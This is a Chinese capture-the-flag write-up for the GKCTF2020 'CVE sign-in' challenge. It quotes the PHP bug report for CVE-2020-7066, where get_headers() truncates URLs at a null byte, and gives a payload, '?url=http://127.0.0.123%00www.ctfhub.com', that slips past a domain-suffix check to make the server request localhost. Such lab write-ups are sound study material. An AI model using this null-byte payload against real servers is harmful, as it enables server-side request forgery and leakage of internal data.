GKCTF2020-cve版签到

1. 提示

2. CVE-2020-7066漏洞

官方文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
get_headers()会在使用的URL中的空字节之后无声地截断任何内容。

已在PHP 7.3上进行了测试,但该功能始终存在此错误。

测试脚本表明,这可能导致编写良好的脚本获取意外域的标头。这些标头可能会泄漏敏感信息,或意外包含攻击者控制的数据。

测试脚本:
---------------
<?php
// user input
$_GET['url'] = "http://localhost\0.example.com";

$host = parse_url($_GET['url'], PHP_URL_HOST);
if (substr($host, -12) !== '.example.com') {
die();
}
$headers = get_headers($_GET['url']);
var_dump($headers);


预期结果:
----------------
Warning: get_headers() expects parameter 1 to be a valid path, string given in php shell code on line 1
NULL

实际结果:
--------------
headers from http://localhost

描述

PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。

get_headers() 是PHP系统级函数,他返回一个包含有服务器响应一个 HTTP 请求所发送的标头的数组。 如果失败则返回 FALSE 并发出一条 E_WARNING 级别的错误信息(可用来判断远程文件是否存在)。

在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。

3. 解题

首页:

burp抓包看包

提示flag在localhost中,但是host得以123结尾

点击链接:

1
?url=http://www.ctfhub.com  是很类似CSRF

既然这里是一个csrf,思路应该是构造csrf让服务器去请求自己获得flag。但是这里利用正则表达式让我们请求的url只能以.ctfhub.com结尾。
这里就运用到的我们的CVE了,其实就是get_header()的CVE。这个函数特点就是会去请求url并返回header头部。但是CVE告诉我们,如果是用%00截断,就可能让命令去请求用户的可控网址。

所以构造payload

1
?url=http://127.0.0.123%00www.ctfhub.com